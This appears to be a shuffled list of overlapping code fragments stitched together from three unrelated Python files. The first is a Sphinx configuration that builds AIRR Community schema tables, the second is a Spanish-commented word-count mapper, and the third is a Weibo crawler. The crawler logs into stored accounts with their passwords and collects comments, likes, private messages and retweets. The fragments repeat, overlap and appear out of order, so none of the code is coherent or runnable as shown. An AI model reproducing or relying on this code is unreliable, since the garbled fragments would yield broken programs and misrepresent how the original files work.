"# Switching to -1 shows all levels. # 'globaltoc_depth': 1, # # #",
"AIRR schema object for doc tables Arguments: spec (str): name of the schema",
"if data_type == 'array': if attr['items'].get('$ref') is not None: sn = attr['items'].get('$ref').split('/')[-1] data_type",
"ontology_format = (str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) ) # Replace name with url-linked name data_format =",
"mixed ``:hidden:`` and # # non-hidden ``toctree`` directives in the same page, or",
"table. \"\"\" data_type_map = {'string': 'free text', 'integer': 'positive integer', 'number': 'positive number',",
"'AIRR Community Standards', # # # Tab name for entire site. (Default: \"Site\")",
"# ('AIRR-C', 'http://airr-community.org', True)], # # # Render the next and previous page",
"spec files download_path = '_downloads' if not os.path.exists(download_path): os.mkdir(download_path) # Write MiAIRR TSV",
"['Set', 'Subset', 'Designation', 'Field', 'Type', 'Format', 'Level', 'Definition', 'Example'] tables = ['Study', 'Subject',",
"third argument to indicate # # an arbitrary url. # # 'navbar_links': [('GitHub',",
"for HTML output ------------------------------------------ # Add any paths that contain custom static files",
"= ':ref:`%s <%sFields>`' % (sn, sn) # x-airr attributes if 'x-airr' in attr:",
"= 'bootstrap' # html_theme_path = sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} #",
"data_type = attr.get('type', '') data_format = data_type_map.get(data_type, '') # Arrays if data_type ==",
"# # # Global TOC depth for \"site\" navbar tab. (Default: 1) #",
"project. project = 'AIRR Standards' copyright = '2017-2021, AIRR Community' author = 'AIRR",
"strings of the table def wrap_col(string, str_length=11): \"\"\" String wrap \"\"\" if [x",
"%s}}' % (ontology_format) # Get 'type' for ontology example = 'id: %s, value:",
"# # For black navbar, do \"navbar navbar-inverse\" # 'navbar_class': 'navbar', # #",
"will overwrite the builtin \"default.css\". html_static_path = ['_static'] # HTML help htmlhelp_basename =",
"'type' for ontology example = 'id: %s, value: %s' % (example['id'], example['label']) elif",
"% ', '.join(attr['items']['enum']) else: nullable = True deprecated = False identifier = False",
"# non-hidden ``toctree`` directives in the same page, or else the build #",
"# # # # The set of valid themes depend on the version",
"\"\"\" data_type_map = {'string': 'free text', 'integer': 'positive integer', 'number': 'positive number', 'boolean':",
"'') miairr_subset = xairr.get('subset', '') # Set data format for ontologies and controlled",
"= 'index' # General information about the project. project = 'AIRR Standards' copyright",
"for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List",
"= {'**': ['about.html', # 'navigation.html', # 'searchbox.html']} # PyData options # html_theme =",
"default. # If extensions (or modules to document with autodoc) are in another",
"to source directory, that match files and # directories to ignore when looking",
"wrap_col(string, str_length=11): \"\"\" String wrap \"\"\" if [x for x in string.split(' ')",
"# Write MiAIRR TSV fields = ['Set', 'Subset', 'Designation', 'Field', 'Type', 'Format', 'Level',",
"= ['.rst'] # List of patterns, relative to source directory, that match files",
"documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'airr-standards.tex', 'airr-standards Documentation',",
"not r['Deprecated']: miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema'] = miairr_schema # Write individual spec TSVs fields",
"for entire site. (Default: \"Site\") # 'navbar_site_name': 'Contents', # # # A list",
"-- Write download tables ------------------------------------------------ # Write download spec files download_path = '_downloads'",
"writer.writeheader() for spec in tables: for r in data_elements[spec]: if r['Level'] and not",
"start file, target name, title, author, # dir menu entry, description, category) texinfo_documents",
"/> ''' # Minimal Sphinx version needs_sphinx = '1.6' # Sphinx extension modules",
"section). man_pages = [ (master_doc, 'airr-standards', 'airr-standards Documentation', [author], 1) ] # --",
"'array': if attr['items'].get('$ref') is not None: sn = attr['items'].get('$ref').split('/')[-1] data_type = 'array of",
"# app.add_stylesheet(\"overrides.css\") rst_prolog =''' .. |br| raw:: html <br /> ''' # Minimal",
"Site configuration from schema data ---------------------------------- # The version info for the project",
"info for the project you're documenting, acts as replacement for # |version| and",
"# # # # Note: If this is \"false\", you cannot have mixed",
"ontologies and controlled vocabularies if 'format' in xairr: if xairr['format'] == 'ontology' and",
"identifier else '', 'nullable' if nullable else ''] field_attributes = ', '.join(filter(lambda x:",
"2: https://bootswatch.com/2 # # - Bootstrap 3: https://bootswatch.com/3 # 'bootswatch_theme': 'spacelab', # #",
"# # Location of link to source. # # Options are \"nav\" (default),",
"sn) # x-airr attributes if 'x-airr' in attr: xairr = attr['x-airr'] nullable =",
"mod_name in mock_modules) # -- General configuration ------------------------------------------------ # Setup # def setup(app):",
"('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the",
"html_static_path = ['_static'] # HTML help htmlhelp_basename = 'airr-standardsdoc' # Alabaster options #",
"if identifier else '', 'nullable' if nullable else ''] field_attributes = ', '.join(filter(lambda",
"category) texinfo_documents = [ (master_doc, 'airr-standards', 'airr-standards Documentation', author, 'airr-standards', 'One line description",
"version. version = str(airr_schema['Info']['version']) # The full version, including alpha/beta/rc tags. release =",
"html_context['MiAIRR_schema'] = miairr_schema # Write individual spec TSVs fields = ['Name', 'Type', 'Attributes',",
"(syntax highlighting) style to use. highlight_language = 'bash' pygments_style = 'vs' # If",
"url. # # 'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards', True), # # ('AIRR-C', 'http://airr-community.org', True)], #",
"to the # documentation root, use os.path.abspath to make it absolute, like shown",
"with the current directory set to its # containing dir. # # Note",
"# # Tab name for entire site. (Default: \"Site\") # 'navbar_site_name': 'Contents', #",
"next config option). # # # # Currently, the supported themes are: #",
"else: f = ['required' if required_field else 'optional', 'identifier' if identifier else '',",
"# # # The set of valid themes depend on the version of",
"theme. # # # # Options are nothing (default) or the name of",
"full URL # app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\") rst_prolog =''' .. |br| raw:: html <br",
"else True title = attr.get('title', '') example = attr.get('example', '') description = attr.get('description',",
"General configuration ------------------------------------------------ # Setup # def setup(app): # # Can also be",
"a default; values that are commented out # serve to show the default.",
"yaml import yamlordereddictloader from unittest.mock import MagicMock # -- Python environment ---------------------------------------------------- #",
"# Add any paths that contain custom static files (such as style sheets)",
"'AIRR Standards' copyright = '2017-2021, AIRR Community' author = 'AIRR Community' # The",
"help htmlhelp_basename = 'airr-standardsdoc' # Alabaster options # html_theme = 'alabaster' # html_theme_options",
"output --------------------------------------- # One entry per manual page. List of tuples # (source",
"# Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex",
"'searchbox.html']} # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_theme_options = { # #",
"# html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html']} # html_sidebars",
"'airr-community', # 'github_repo': 'airr-standards', # 'github_button': True, # 'sidebar_includehidden': True, # 'sidebar_width': '300px',",
"if os.environ.get('READTHEDOCS', None) == 'True': class Mock(MagicMock): @classmethod def __getattr__(cls, name): return MagicMock()",
"rst_prolog =''' .. |br| raw:: html <br /> ''' # Minimal Sphinx version",
"---------------------------------- # The version info for the project you're documenting, acts as replacement",
"field_attributes = ', '.join(filter(lambda x: x != '', f)) # Return dictionary r",
"the directory is relative to the # documentation root, use os.path.abspath to make",
"'Alignment', 'Clone', 'Tree', 'Node', 'Cell', 'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription', 'GermlineSet', 'GenotypeSet', 'Genotype', 'MHCGenotypeSet',",
"'source_link_position': 'none', # # # Bootswatch (http://bootswatch.com/) theme. # # # # Options",
"= [ (master_doc, 'airr-standards', 'airr-standards Documentation', [author], 1) ] # -- Options for",
"= xairr.get('deprecated', False) identifier = xairr.get('identifier', False) # MiAIRR attributes miairr_level = xairr.get('miairr',",
"the third argument to indicate # # an arbitrary url. # # 'navbar_links':",
"'navbar', # # # Fix navigation bar to top of page? # #",
"= ['Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing'] # tables",
"# # Switching to -1 shows all levels. # 'globaltoc_depth': 1, # #",
"fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec]) # -- Site configuration from schema data ----------------------------------",
"black navbar, do \"navbar navbar-inverse\" # 'navbar_class': 'navbar', # # # Fix navigation",
"(or modules to document with autodoc) are in another directory, # add these",
"# - Bootstrap 2: https://bootswatch.com/2 # # - Bootstrap 3: https://bootswatch.com/3 # 'bootswatch_theme':",
"per manual page. List of tuples # (source start file, name, description, authors,",
"'Type', 'Attributes', 'Definition'] tables = ['Repertoire', 'Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget',",
"throughout the # built documents. # # The short X.Y version. version =",
"html_sidebars = {'**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html']} # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} #",
"spec TSVs fields = ['Name', 'Type', 'Attributes', 'Definition'] tables = ['Repertoire', 'Study', 'Subject',",
"# -- Build schema reference tables ---------------------------------------- # Function to chop down long",
"@classmethod def __getattr__(cls, name): return MagicMock() mock_modules = ['numpy', 'pandas'] sys.modules.update((mod_name, Mock()) for",
"to its # containing dir. # # Note that not all possible configuration",
"nullable else ''] field_attributes = ', '.join(filter(lambda x: x != '', f)) #",
"'Rearrangement', 'Alignment', 'Clone', 'Tree', 'Node', 'Cell', 'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription', 'GermlineSet', 'GenotypeSet', 'Genotype',",
"(sn, sn) elif attr['items'].get('type') is not None: data_type = 'array of %s' %",
"attr['items'].get('type') is not None: data_type = 'array of %s' % attr['items']['type'] elif attr.get('$ref')",
"if required_field else 'optional', 'identifier' if identifier else '', 'nullable' if nullable else",
"Nov 17 14:47:21 2017. # # This file is execfile()d with the current",
"------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples #",
"replacement for # |version| and |release|, also used in various other places throughout",
"'AlleleDescription', 'GermlineSet', 'GenotypeSet', 'Genotype', 'MHCGenotypeSet', 'MHCGenotype'] for spec in tables: with open(os.path.join(download_path, '%s.tsv'",
"= {'string': 'free text', 'integer': 'positive integer', 'number': 'positive number', 'boolean': 'true |",
"'boolean': 'true | false'} # Get schema properties = schema[spec]['properties'] required = schema[spec].get('required',",
"# The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', #",
"also be a full URL # app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\") rst_prolog =''' .. |br|",
"name): return MagicMock() mock_modules = ['numpy', 'pandas'] sys.modules.update((mod_name, Mock()) for mod_name in mock_modules)",
"output ------------------------------------------ # Add any paths that contain custom static files (such as",
"'Level': miairr_level, 'Required': required_field, 'Deprecated': deprecated, 'Nullable': nullable, 'Identifier': identifier, 'Attributes': field_attributes} table_rows.append(r)",
"html_sidebars = {'**': ['globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html']} # html_sidebars",
"'Set': miairr_set, 'Subset': miairr_subset, 'Designation': title, 'Field': prop, 'Type': data_type, 'Format': data_format, 'Definition':",
"the table def wrap_col(string, str_length=11): \"\"\" String wrap \"\"\" if [x for x",
"Arguments: spec (str): name of the schema object schema (dict): master schema dictionary",
"after the builtin static files, # so a file named \"default.css\" will overwrite",
"tables ------------------------------------------------ # Write download spec files download_path = '_downloads' if not os.path.exists(download_path):",
"'', 'nullable' if nullable else ''] field_attributes = ', '.join(filter(lambda x: x !=",
"data_type, 'Format': data_format, 'Definition': description, 'Example': example, 'Level': miairr_level, 'Required': required_field, 'Deprecated': deprecated,",
"= (str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) ) # Replace name with url-linked name data_format = 'Ontology:",
"'Identifier': identifier, 'Attributes': field_attributes} table_rows.append(r) return(table_rows) # Load data for schemas with open(os.path.abspath('../specs/airr-schema.yaml'))",
"= attr.get('title', '') example = attr.get('example', '') description = attr.get('description', '') # Data",
"tuples containing pages or urls to link to. # # Valid tuples should",
"for the project you're documenting, acts as replacement for # |version| and |release|,",
"looking for source files. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # Add any paths",
"%s' % attr['items']['type'] elif attr.get('$ref') == '#/Ontology': data_type = ':ref:`Ontology <OntoVoc>`' elif attr.get('$ref')",
"(Default: true) # 'navbar_sidebarrel': True, # # # Render the current pages TOC",
"'airr-standards Documentation', [author], 1) ] # -- Options for Texinfo output ------------------------------------------- #",
"style sheets) here, # relative to this directory. They are copied after the",
"= xairr.get('subset', '') # Set data format for ontologies and controlled vocabularies if",
"'One line description of project.', 'Miscellaneous'), ] # -- Build schema reference tables",
"= 'DEPRECATED' else: f = ['required' if required_field else 'optional', 'identifier' if identifier",
"# Write download spec files download_path = '_downloads' if not os.path.exists(download_path): os.mkdir(download_path) #",
"author, 'airr-standards', 'One line description of project.', 'Miscellaneous'), ] # -- Build schema",
"= xairr.get('set', '') miairr_subset = xairr.get('subset', '') # Set data format for ontologies",
"data_format, 'Definition': description, 'Example': example, 'Level': miairr_level, 'Required': required_field, 'Deprecated': deprecated, 'Nullable': nullable,",
"other places throughout the # built documents. # # The short X.Y version.",
"Can also be a full URL # app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\") rst_prolog =''' ..",
"# html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_theme_options = { # # Navigation",
"attr['x-airr'] nullable = xairr.get('nullable', True) deprecated = xairr.get('deprecated', False) identifier = xairr.get('identifier', False)",
"the current pages TOC in the navbar. (Default: true) # 'navbar_pagenav': True, #",
"# 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # #",
"integer', 'number': 'positive number', 'boolean': 'true | false'} # Get schema properties =",
"= xairr.get('nullable', True) deprecated = xairr.get('deprecated', False) identifier = xairr.get('identifier', False) # MiAIRR",
"|version| and |release|, also used in various other places throughout the # built",
"html_logo = \"_static/AIRR_logo-only.png\" # Bootstrap options # html_theme = 'bootstrap' # html_theme_path =",
"format for ontologies and controlled vocabularies if 'format' in xairr: if xairr['format'] ==",
"copyright = '2017-2021, AIRR Community' author = 'AIRR Community' # The name of",
"title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc,",
"data_type_map = {'string': 'free text', 'integer': 'positive integer', 'number': 'positive number', 'boolean': 'true",
"author = 'AIRR Community' # The name of the Pygments (syntax highlighting) style",
"these directories to sys.path here. If the directory is relative to the #",
"'false', # # # HTML navbar class (Default: \"navbar\") to attach to <div>",
"data for schemas with open(os.path.abspath('../specs/airr-schema.yaml')) as ip: airr_schema = yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context =",
"'Node', 'Cell', 'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription', 'GermlineSet', 'GenotypeSet', 'Genotype', 'MHCGenotypeSet', 'MHCGenotype'] for spec",
"list of dictionaries with parsed rows of the spec table. \"\"\" data_type_map =",
"Render the next and previous page links in navbar. (Default: true) # 'navbar_sidebarrel':",
"in mock_modules) # -- General configuration ------------------------------------------------ # Setup # def setup(app): #",
"name for the current pages TOC. (Default: \"Page\") # 'navbar_pagenav_name': 'Page', # #",
"be in the following forms: # # (name, page) # a link to",
"name data_format = 'Ontology: { top_node: { id: %s, value: %s}}' % (ontology_format)",
"bar title. (Default: ``project`` value) # 'navbar_title': 'AIRR Community Standards', # # #",
"miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema'] = miairr_schema # Write individual spec TSVs fields = ['Name',",
"'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing'] # tables = data_elements.keys() miairr_schema = []",
"highlighting) style to use. highlight_language = 'bash' pygments_style = 'vs' # If true,",
"# # airr-standards documentation build configuration file, created by # sphinx-quickstart on Fri",
"x: x != '', f)) # Return dictionary r = {'Name': prop, 'Set':",
") # Replace name with url-linked name data_format = 'Ontology: { top_node: {",
"on the version of Bootstrap # # that's used (the next config option).",
"html_theme = \"sphinx_book_theme\" html_logo = \"_static/AIRR_logo-only.png\" # Bootstrap options # html_theme = 'bootstrap'",
"the # built documents. # # The short X.Y version. version = str(airr_schema['Info']['version'])",
"identifier = xairr.get('identifier', False) # MiAIRR attributes miairr_level = xairr.get('miairr', '') miairr_set =",
"'Genotype', 'MHCGenotypeSet', 'MHCGenotype'] for spec in tables: with open(os.path.join(download_path, '%s.tsv' % spec), 'w')",
"'github_repo': 'airr-standards', # 'github_button': True, # 'sidebar_includehidden': True, # 'sidebar_width': '300px', # 'extra_nav_links':",
"# # Render the next and previous page links in navbar. (Default: true)",
"# # an arbitrary url. # # 'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards', True), # #",
"['required' if required_field else 'optional', 'identifier' if identifier else '', 'nullable' if nullable",
"'id: %s, value: %s' % (example['id'], example['label']) elif xairr['format'] == 'controlled vocabulary': if",
"as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec]) # -- Site",
"# # A list of tuples containing pages or urls to link to.",
"into Texinfo files. List of tuples # (source start file, target name, title,",
"not None: data_format = 'Controlled vocabulary: %s' % ', '.join(attr['enum']) elif attr.get('items', None)",
"the Pygments (syntax highlighting) style to use. highlight_language = 'bash' pygments_style = 'vs'",
"navbar class (Default: \"navbar\") to attach to <div> element. # # For black",
"# Storage object data_elements[spec] = parse_schema(spec, airr_schema) # Update doc html_context html_context[spec +",
"Build schema reference tables ---------------------------------------- # Function to chop down long strings of",
"vocabulary: %s' % ', '.join(attr['enum']) elif attr.get('items', None) is not None: data_format =",
"TOC depth for \"site\" navbar tab. (Default: 1) # # Switching to -1",
"document with autodoc) are in another directory, # add these directories to sys.path",
"f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() for spec in tables: for",
"values are present in this # autogenerated file. # # All configuration values",
"dictionary r = {'Name': prop, 'Set': miairr_set, 'Subset': miairr_subset, 'Designation': title, 'Field': prop,",
"[author], 1) ] # -- Options for Texinfo output ------------------------------------------- # Grouping the",
"in this # autogenerated file. # # All configuration values have a default;",
"List of tuples # (source start file, target name, title, author, # dir",
"text', 'integer': 'positive integer', 'number': 'positive number', 'boolean': 'true | false'} # Get",
"stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float)",
"paths that contain custom static files (such as style sheets) here, # relative",
"'DataProcessing'] # tables = data_elements.keys() miairr_schema = [] with open(os.path.join(download_path, '%s.tsv' % 'AIRR_Minimal_Standard_Data_Elements'),",
"of tuples containing pages or urls to link to. # # Valid tuples",
"i in range(0, len(string), str_length)] return ('\\n'.join(parts) + '\\n') else: return (string) def",
"import sys import yaml import yamlordereddictloader from unittest.mock import MagicMock # -- Python",
"':ref:`%s <%sFields>`' % (sn, sn) # x-airr attributes if 'x-airr' in attr: xairr",
"are \"nav\" (default), \"footer\" or anything else to exclude. # 'source_link_position': 'none', #",
"# # # Note: If this is \"false\", you cannot have mixed ``:hidden:``",
"for # |version| and |release|, also used in various other places throughout the",
"as style sheets) here, # relative to this directory. They are copied after",
"if not os.path.exists(download_path): os.mkdir(download_path) # Write MiAIRR TSV fields = ['Set', 'Subset', 'Designation',",
"= '' miairr_subset = '' if deprecated: field_attributes = 'DEPRECATED' else: f =",
"yaml file. Returns: list: list of dictionaries with parsed rows of the spec",
"and not r['Deprecated']: miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema'] = miairr_schema # Write individual spec TSVs",
"# The version info for the project you're documenting, acts as replacement for",
"do \"navbar navbar-inverse\" # 'navbar_class': 'navbar', # # # Fix navigation bar to"
] |
[
"line.split() for word in words: # se escriben los resultados del map a",
"for line in sys.stdin: # quitamos espacios de principio y fin de línea",
"espacios de principio y fin de línea line = line.strip() # partimos la",
"(standard input) for line in sys.stdin: # quitamos espacios de principio y fin",
"resultados del map a STDOUT (standard output); # lo que salga de aquí",
"principio y fin de línea line = line.strip() # partimos la línea en",
"word in words: # se escriben los resultados del map a STDOUT (standard",
"de entrada vienen por STDIN (standard input) for line in sys.stdin: # quitamos",
"(standard output); # lo que salga de aquí será la entrada del reducer.py",
"clave-valor separados por tabulador # ponemos recuento 1 en cada palabra, para luego",
"import sys # los datos de entrada vienen por STDIN (standard input) for",
"words = line.split() for word in words: # se escriben los resultados del",
"salga de aquí será la entrada del reducer.py # clave-valor separados por tabulador",
"de aquí será la entrada del reducer.py # clave-valor separados por tabulador #",
"line = line.strip() # partimos la línea en palabras words = line.split() for",
"los datos de entrada vienen por STDIN (standard input) for line in sys.stdin:",
"del map a STDOUT (standard output); # lo que salga de aquí será",
"de línea line = line.strip() # partimos la línea en palabras words =",
"python #coding=utf-8 \"\"\"mapper.py\"\"\" import sys # los datos de entrada vienen por STDIN",
"en cada palabra, para luego acumular los recuentos por palabra print('%s\\t%s' % (word,",
"datos de entrada vienen por STDIN (standard input) for line in sys.stdin: #",
"escriben los resultados del map a STDOUT (standard output); # lo que salga",
"partimos la línea en palabras words = line.split() for word in words: #",
"ponemos recuento 1 en cada palabra, para luego acumular los recuentos por palabra",
"la línea en palabras words = line.split() for word in words: # se",
"sys.stdin: # quitamos espacios de principio y fin de línea line = line.strip()",
"# partimos la línea en palabras words = line.split() for word in words:",
"line in sys.stdin: # quitamos espacios de principio y fin de línea line",
"input) for line in sys.stdin: # quitamos espacios de principio y fin de",
"la entrada del reducer.py # clave-valor separados por tabulador # ponemos recuento 1",
"= line.strip() # partimos la línea en palabras words = line.split() for word",
"\"\"\"mapper.py\"\"\" import sys # los datos de entrada vienen por STDIN (standard input)",
"quitamos espacios de principio y fin de línea line = line.strip() # partimos",
"# ponemos recuento 1 en cada palabra, para luego acumular los recuentos por",
"words: # se escriben los resultados del map a STDOUT (standard output); #",
"palabras words = line.split() for word in words: # se escriben los resultados",
"map a STDOUT (standard output); # lo que salga de aquí será la",
"in words: # se escriben los resultados del map a STDOUT (standard output);",
"STDOUT (standard output); # lo que salga de aquí será la entrada del",
"cada palabra, para luego acumular los recuentos por palabra print('%s\\t%s' % (word, 1))",
"separados por tabulador # ponemos recuento 1 en cada palabra, para luego acumular",
"lo que salga de aquí será la entrada del reducer.py # clave-valor separados",
"por STDIN (standard input) for line in sys.stdin: # quitamos espacios de principio",
"por tabulador # ponemos recuento 1 en cada palabra, para luego acumular los",
"for word in words: # se escriben los resultados del map a STDOUT",
"fin de línea line = line.strip() # partimos la línea en palabras words",
"= line.split() for word in words: # se escriben los resultados del map",
"aquí será la entrada del reducer.py # clave-valor separados por tabulador # ponemos",
"# los datos de entrada vienen por STDIN (standard input) for line in",
"entrada vienen por STDIN (standard input) for line in sys.stdin: # quitamos espacios",
"y fin de línea line = line.strip() # partimos la línea en palabras",
"línea en palabras words = line.split() for word in words: # se escriben",
"# clave-valor separados por tabulador # ponemos recuento 1 en cada palabra, para",
"#coding=utf-8 \"\"\"mapper.py\"\"\" import sys # los datos de entrada vienen por STDIN (standard",
"1 en cada palabra, para luego acumular los recuentos por palabra print('%s\\t%s' %",
"sys # los datos de entrada vienen por STDIN (standard input) for line",
"entrada del reducer.py # clave-valor separados por tabulador # ponemos recuento 1 en",
"que salga de aquí será la entrada del reducer.py # clave-valor separados por",
"in sys.stdin: # quitamos espacios de principio y fin de línea line =",
"# se escriben los resultados del map a STDOUT (standard output); # lo",
"línea line = line.strip() # partimos la línea en palabras words = line.split()",
"los resultados del map a STDOUT (standard output); # lo que salga de",
"line.strip() # partimos la línea en palabras words = line.split() for word in",
"recuento 1 en cada palabra, para luego acumular los recuentos por palabra print('%s\\t%s'",
"en palabras words = line.split() for word in words: # se escriben los",
"de principio y fin de línea line = line.strip() # partimos la línea",
"STDIN (standard input) for line in sys.stdin: # quitamos espacios de principio y",
"vienen por STDIN (standard input) for line in sys.stdin: # quitamos espacios de",
"# quitamos espacios de principio y fin de línea line = line.strip() #",
"#!/usr/bin/env python #coding=utf-8 \"\"\"mapper.py\"\"\" import sys # los datos de entrada vienen por",
"output); # lo que salga de aquí será la entrada del reducer.py #",
"# lo que salga de aquí será la entrada del reducer.py # clave-valor",
"del reducer.py # clave-valor separados por tabulador # ponemos recuento 1 en cada",
"tabulador # ponemos recuento 1 en cada palabra, para luego acumular los recuentos",
"a STDOUT (standard output); # lo que salga de aquí será la entrada",
"reducer.py # clave-valor separados por tabulador # ponemos recuento 1 en cada palabra,",
"se escriben los resultados del map a STDOUT (standard output); # lo que",
"será la entrada del reducer.py # clave-valor separados por tabulador # ponemos recuento"
] |
[
"{ 'query': {'term': {'create_status': 2}}, 'size': 10000 } search_results = es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits']",
"webdriver from SinaLauncher import SinaLauncher class WeiboCrawler(object): def __init__(self): self.driver = webdriver.Firefox() def",
"= SinaLauncher(uname, upasswd) print xnr.login() print 'uname::', uname uid = xnr.uid current_ts =",
"run weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid, current_ts, fans, follow, groups, timestamp_comment_make, timestamp_comment_receive).execute() print 'run weibo_feedback_comment.py",
"__init__(self): self.driver = webdriver.Firefox() def get_present_time(self): present_time_stamp = time.localtime(int(time.time())) present_time = time.strftime(\"%Y-%m-%d %H:%M:%S\",",
"groups, timestamp_comment_make, timestamp_comment_receive).execute() print 'run weibo_feedback_comment.py done!' print 'start run weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid,",
"body=query_body)['hits']['hits'] if search_results: for result in search_results: result = result['_source'] mail_account = result['weibo_mail_account']",
"run weibo_feedback_private.py ...' # print 'timestamp_private:::',timestamp_private # print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts, fans, follow,",
"# print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts, fans, follow, groups, timestamp_private).execute() print 'run weibo_feedback_private.py done!'",
"{'create_status': 2}}, 'size': 10000 } search_results = es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if search_results: for",
"run weibo_feedback_retweet.py ...' self.FeedbackRetweet(xnr.uid, current_ts, fans, follow, groups, timestamp_retweet).execute() print 'run weibo_feedback_retweet.py done!'",
"account_name = False if account_name: self.execute(account_name, pwd) def execute(self, uname, upasswd): xnr =",
"...' fans, follow, groups = self.FeedbackFollow(xnr.uid, current_ts).execute() print 'run weibo_feedback_follow.py done!' # except:",
"xnr.uid current_ts = int(time.time()) timestamp_retweet, timestamp_like, timestamp_at, timestamp_private, \\ timestamp_comment_receive, timestamp_comment_make = self.newest_time_func(xnr.uid)",
"print 'run weibo_feedback_follow.py done!' # except: # print 'Except Abort' # try: print",
"timestamp_comment_make, timestamp_comment_receive).execute() print 'run weibo_feedback_comment.py done!' print 'start run weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid, current_ts,",
"done!' # except: # print 'Except Abort' # try: print 'start run weibo_feedback_at.py",
"= es.search(index=weibo_xnr_index_name, doc_type=weibo_xnr_index_type, body=query_body)['hits']['hits'] if search_results: for result in search_results: result = result['_source']",
"phone_account = result['weibo_phone_account'] pwd = result['password'] if mail_account: account_name = mail_account elif phone_account:",
"timestamp_comment_receive, timestamp_comment_make = self.newest_time_func(xnr.uid) print timestamp_retweet, timestamp_like, timestamp_at, \\ timestamp_private, timestamp_comment_receive, timestamp_comment_make #",
"= phone_account else: account_name = False if account_name: self.execute(account_name, pwd) def execute(self, uname,",
"if mail_account: account_name = mail_account elif phone_account: account_name = phone_account else: account_name =",
"timestamp_retweet, timestamp_like, timestamp_at, \\ timestamp_private, timestamp_comment_receive, timestamp_comment_make # try: print 'start run weibo_feedback_follow.py",
"fans, follow, groups, timestamp_at).execute() print 'run weibo_feedback_at.py done!' print 'start run weibo_feedback_comment.py ...'",
"current_ts, fans, follow, groups, timestamp_private).execute() print 'run weibo_feedback_private.py done!' print 'start run weibo_feedback_retweet.py",
"run weibo_feedback_like.py ...' self.FeedbackLike(xnr.uid, current_ts, fans, follow, groups, timestamp_like).execute() print 'run weibo_feedback_like.py done!'",
"get_present_time(self): present_time_stamp = time.localtime(int(time.time())) present_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", present_time_stamp) year = int(present_time.split(\" \")[0].split(\"-\")[0])",
"month, day, hour, minute, second def all_weibo_xnr_crawler(self): query_body = { 'query': {'term': {'create_status':",
"current_ts, fans, follow, groups, timestamp_like).execute() print 'run weibo_feedback_like.py done!' print 'start run weibo_feedback_private.py",
"print 'start run weibo_feedback_private.py ...' # print 'timestamp_private:::',timestamp_private # print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts,",
"time from selenium import webdriver from SinaLauncher import SinaLauncher class WeiboCrawler(object): def __init__(self):",
"weibo_feedback_private.py ...' # print 'timestamp_private:::',timestamp_private # print 'current_ts::::::',current_ts self.FeedbackPrivate(xnr.uid, current_ts, fans, follow, groups,",
"fans, follow, groups, timestamp_like).execute() print 'run weibo_feedback_like.py done!' print 'start run weibo_feedback_private.py ...'",
"groups = self.FeedbackFollow(xnr.uid, current_ts).execute() print 'run weibo_feedback_follow.py done!' # except: # print 'Except",
"'uname::', uname uid = xnr.uid current_ts = int(time.time()) timestamp_retweet, timestamp_like, timestamp_at, timestamp_private, \\",
"int(time.time()) timestamp_retweet, timestamp_like, timestamp_at, timestamp_private, \\ timestamp_comment_receive, timestamp_comment_make = self.newest_time_func(xnr.uid) print timestamp_retweet, timestamp_like,",
"timestamp_at).execute() print 'run weibo_feedback_at.py done!' print 'start run weibo_feedback_comment.py ...' self.FeedbackComment(xnr.uid, current_ts, fans,",
"# try: print 'start run weibo_feedback_at.py ...' self.FeedbackAt(xnr.uid, current_ts, fans, follow, groups, timestamp_at).execute()",
